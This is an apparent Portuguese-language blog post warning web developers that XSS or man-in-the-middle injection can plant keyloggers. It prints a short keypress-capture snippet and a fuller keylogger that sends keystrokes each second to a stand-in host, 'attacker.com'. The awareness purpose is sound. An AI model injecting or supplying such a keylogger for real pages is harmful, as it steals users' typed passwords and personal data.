Como criar um keylogger em javascript com apenas 4 linhas de código

Keyloggers são normalmente conhecidos por serem programas de computador que registram tudo o que você digita. O que algumas pessoas desconhecem é a existência de keyloggers em sites vulneráveis. Agora a pergunta que não quer calar: Porque eu deveria me preocupar com um keylogger em javascript se a pessoa que desenvolveu o sistema possui controle sobre o que vai ser carregado ou não, minhas informações pessoais, etc? A resposta é simples, não é quem desenvolveu o sistema que injeta um código desses. Já ouviu falar em man in the middle? ou Cross Site Scripting? Dependendo de onde você está acessando um site, da rede, do seu computador, ou até mesmo do seu ISP, dependendo de como o site/sistema que você está acessando foi desenvolvido, ao logar-se por exemplo no sistema, você pode estar enviando todas as informações digitadas para um outro servidor sem saber. Como isso acontece pode variar, pode ser alguém interceptando a sua requisição e injetando o javascript no response, pode ser um banco de dados que foi comprometido com alguma informação, ou até mesmo um link que você acessa, e sem perceber estava passando uma querystring comprometida. O que quero mostrar aqui é que, com apenas QUATRO linhas de código e um sistema feito sem pensar na segurança pode comprometer todos os seus usuários. Acredito que todo mundo que já programou alguma vez qualquer coisa voltada para web, já se deparou com javascript e está acostumado com eventos, como este:

<button id="meuBotao" onclick="fazAlgumaCoisa()" />

ou

seuObjeto.onclick = function() { 
    // alguma coisa aqui
};

ou

$("#meuBotao").click(function () {
    // alguma coisa legal aqui
});

O que muitas vezes não nos damos conta, é que este evento não serve apenas para um button ou um link. Com o código abaixo, estamos capturando todas as teclas digitadas na página inteira:

var keys = '';
document.onkeypress = function (e) {
    keys += String.fromCharCode(e.keyCode);
}

Claro que este código não faz mal para ninguém, estará capturando todas as teclas digitadas quando o seu document estiver com foco, porém não fará nada com isso. Porém, em uma rápida consulta no google, como por exemplo:

https://www.google.com.br/search?q=xss+keylogger

Logo no primeiro link acharemos um keylogger um pouco mais elaborado:

var keys = '';
 
document.onkeypress = function(e) {
    var get = window.event ? event : e;
    var key = get.keyCode ? get.keyCode : get.charCode;
    key = String.fromCharCode(key);
    keys += key;
}
 
window.setInterval(function(){
    new Image().src = 'http://attacker.com/keylogger.php?c=' + keys;
    keys = '';
}, 1000);

Por isso fiquem atentos em como vocês andam desenvolvendo os seus sistemas. Como eu disse no post anterior sobre response headers, a segurança de sua aplicação está nos pequenos detalhes.

Provavelmente no próximo post escreverei sobre xss e maneiras de evitar que a sua aplicação fique vulnerável.

Por hoje é só 😉

ps: Caso queiram acessar, eu criei um gist com o código acima: keylogger.js

Anúncios

Um comentário sobre “Como criar um keylogger em javascript com apenas 4 linhas de código

Deixe um comentário

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair / Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair / Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair / Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair / Alterar )

Conectando a %s